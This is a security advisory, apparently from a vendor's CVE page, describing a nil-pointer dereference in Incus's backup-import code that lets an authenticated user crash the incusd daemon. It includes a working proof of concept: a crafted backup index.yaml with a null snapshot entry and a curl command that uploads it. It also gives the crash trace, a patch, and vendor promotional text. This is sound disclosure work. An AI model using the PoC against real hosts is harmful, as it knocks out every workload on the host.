Summary
Incus: Nil-pointer dereference in createDependentVolumesFromBackup on disk.{Volume,VolumeSnapshots,Pool}
(*backend).createDependentVolumesFromBackup in internal/server/storage/backend.go contains a cluster of unguarded pointer derefs on every dependent-volume entry's VolumeSnapshots[i], Volume, and Pool sub-fields. An authenticated user with can_create_instances permission on any project can crash the incusd daemon by uploading an instance backup tarball whose dependent_volumes[*] block contains a nil snapshot pointer (or omits volume: / pool:).
This is a sibling-field variant of the 2026-05-04 batch fix d768f81c0a1d985f35ae56219519822b080bf5e3 ("Properly check dependent volumes on import"). That commit added if disk == nil at the top of the outer loop, but did not guard the four sub-pointer fields the loop body dereferences naked.
Vulnerable code
internal/server/storage/backend.go:9352-9412:
func (b *backend) createDependentVolumesFromBackup(srcBackup backup.Info, ...) error {
...
for _, disk := range srcBackup.Config.DependentVolumes {
if disk == nil { // ← d768f81 parent fix
return errors.New("Bad dependent volume definition found in index")
}
...
snapshots := []string{}
for _, snap := range disk.VolumeSnapshots {
snapshots = append(snapshots, snap.Name) // ← I-2 trigger: snap may be nil
}
bInfo := backup.Info{
Project: disk.Volume.Project, // ← disk.Volume may be nil
Name: disk.Volume.Name,
Backend: disk.Pool.Driver, // ← disk.Pool may be nil
Pool: disk.Pool.Name,
...
}
...
devKey := fmt.Sprintf("%s/%s", disk.Pool.Name, disk.Volume.Name)
...
}
}
disk has type *config.Config (declared in internal/server/backup/config/backup_config.go:8). Its Volume field is *api.StorageVolume, Pool is *api.StoragePool, VolumeSnapshots is []*api.StorageVolumeSnapshot, all yaml omitempty. YAML omission decodes to nil for each.
The parent fix mental-modeled "outer-iteration variable nil"; it did not walk every sub-field deref inside the loop body. Direct asymmetric-guard variant.
Reach
- Attacker is an authenticated client with
can_create_instanceson any project. Same auth gate as GHSA-8g7m-96c8-8wwc / CVE-2026-47753. POST /1.0/instanceswithContent-Type: application/octet-streamandX-Incus-name: <name>.- Body is a tar containing
backup/index.yamlwhoseconfig:block has a non-nilcontainer:(passesinstances_post.go:854 if bInfo.Config == nil || bInfo.Config.Container == nil) and adependent_volumes:list with a malformed entry. - Chain:
instancesPost->createFromBackup:854(Container guard passes) ->pool.CreateInstanceFromBackup->backend.go:782 b.createDependentVolumesFromBackup->backend.go:9374 snap.Namepanics on the nil*api.StorageVolumeSnapshotelement. incusddies. Persistent DoS on repeat.
Minimal backup/index.yaml (used in the bundled PoC):
name: poc-inst
backend: dir
pool: default
type: container
optimized: false
optimized_header: false
snapshots: []
config:
container:
name: poc-inst
architecture: x86_64
type: container
profiles: ["default"]
config: {}
devices: {}
expanded_devices:
depdisk: {type: disk, dependent: "true", pool: default, source: depvol, path: /data}
expanded_config: {}
dependent_volumes:
- volume: {name: depvol, type: custom, content_type: filesystem, config: {}}
pool: {name: default, driver: dir, config: {}}
volume_snapshots:
- ~ # explicit null entry → snap.Name at 9374 panics
(The container block must declare at least one device with type: disk, dependent: "true", pool != "", path != "/" to populate devicesMap and reach the second loop. Trivially satisfiable.)
An equivalent triggering YAML omits volume: or pool: from the dependent_volumes entry; in that case disk.Volume.Project at 9378 panics instead.
Proof of concept (end-to-end against running daemon)
Bundled in the report: make_backup.sh + 666-byte poc-inst.tar.gz.
Tested against incus 7.0.0 (zabbly latest GA, build 1:0~ubuntu24.04~202605201355) inside a privileged Ubuntu 24.04 container with default dir pool.
$ curl -s --unix-socket /var/lib/incus/unix.socket -X POST \
--data-binary @/tmp/poc-inst.tar.gz \
-H 'Content-Type: application/octet-stream' \
-H 'X-Incus-name: poc-inst' \
http://incus/1.0/instances
{"type":"async","status":"Operation created","status_code":100,...}
$ ps -ef | grep incusd | grep -v grep # process gone
Daemon panic:
panic: runtime error: invalid memory address or nil pointer dereference
[signal SIGSEGV: segmentation violation code=0x1 addr=0x18 pc=0x163b7bc]
goroutine 257 [running]:
github.com/lxc/incus/v7/internal/server/storage.(*backend).createDependentVolumesFromBackup(...)
/build/incus/internal/server/storage/backend.go:9374 +0x42c
github.com/lxc/incus/v7/internal/server/storage.(*backend).CreateInstanceFromBackup(...)
/build/incus/internal/server/storage/backend.go:782 +0x660
main.createFromBackup.func8(...)
/build/incus/cmd/incusd/instances_post.go:989 +0x2ac
github.com/lxc/incus/v7/internal/server/operations.(*Operation).Start.func1(...)
/build/incus/internal/server/operations/operations.go:307 +0x2c
Stack frame backend.go:9374 is the literal snap.Name line.
Reporter notes
Reported via Privately-Reported Vulnerability against lxc/incus by tonghuaroot.
Impact
- Severity: denial of service against the entire
incusdprocess. Every container / VM / storage operation on the host (and on the cluster member, if clustered) is aborted; subsequent requests fail until an operator restarts the process. - Privileges required: any authenticated user with
can_create_instanceson any project. Not behind the admin tier. - Network attack surface: the Incus REST API on
:8443or the unix socket. - CWE-476, Nil-Pointer Dereference. CVSS estimate: 6.5 (AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H).
- Versions: v7.0.0 confirmed. The
dependent_volumesfeature did not exist in v6.x, so the vulnerable code is v7-only.
The application dereferences a null pointer, causing a crash. Typical impact: denial of service via crash.
Affected versions
Security releases
Kodem intelligence
Severity tells you how bad this could be in the worst case. It does not tell you whether you are exposed. Exploitability and impact are functions of runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A vulnerable package can sit in your dependency tree and never run.
Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter. Kodem's runtime-powered SCA identifies whether this CVE is reachable in your applications.
Already deployed Kodem?
See it in your environmentNew to Kodem? Get a demo →Remediation advice
--- a/internal/server/storage/backend.go
+++ b/internal/server/storage/backend.go
@@ -9362,6 +9362,18 @@ func (b *backend) createDependentVolumesFromBackup(...) error {
for _, disk := range srcBackup.Config.DependentVolumes {
if disk == nil {
return errors.New("Bad dependent volume definition found in index")
}
+
+ if disk.Volume == nil || disk.Pool == nil {
+ return errors.New("Bad dependent volume definition: missing volume or pool")
+ }
+
+ for _, snap := range disk.VolumeSnapshots {
+ if snap == nil {
+ return errors.New("Bad dependent volume snapshot definition")
+ }
+ }
+
optimizedStorage := srcBackup.OptimizedStorage
optimizedHeader := srcBackup.OptimizedHeader
snapshots := []string{}
for _, snap := range disk.VolumeSnapshots {
snapshots = append(snapshots, snap.Name)
}
Frequently Asked Questions
- What is CVE-2026-48754? CVE-2026-48754 is a low-severity null pointer dereference vulnerability in github.com/lxc/incus/v7/cmd/incusd (go), affecting versions < 7.1.0. It is fixed in 7.1.0. The application dereferences a null pointer, causing a crash.
- Which versions of github.com/lxc/incus/v7/cmd/incusd are affected by CVE-2026-48754? github.com/lxc/incus/v7/cmd/incusd (go) versions < 7.1.0 is affected.
- Is there a fix for CVE-2026-48754? Yes. CVE-2026-48754 is fixed in 7.1.0. Upgrade to this version or later.
- Is CVE-2026-48754 exploitable, and should I be worried? Whether CVE-2026-48754 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
- What actually determines whether CVE-2026-48754 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
- How do I fix CVE-2026-48754? Upgrade
github.com/lxc/incus/v7/cmd/incusdto 7.1.0 or later.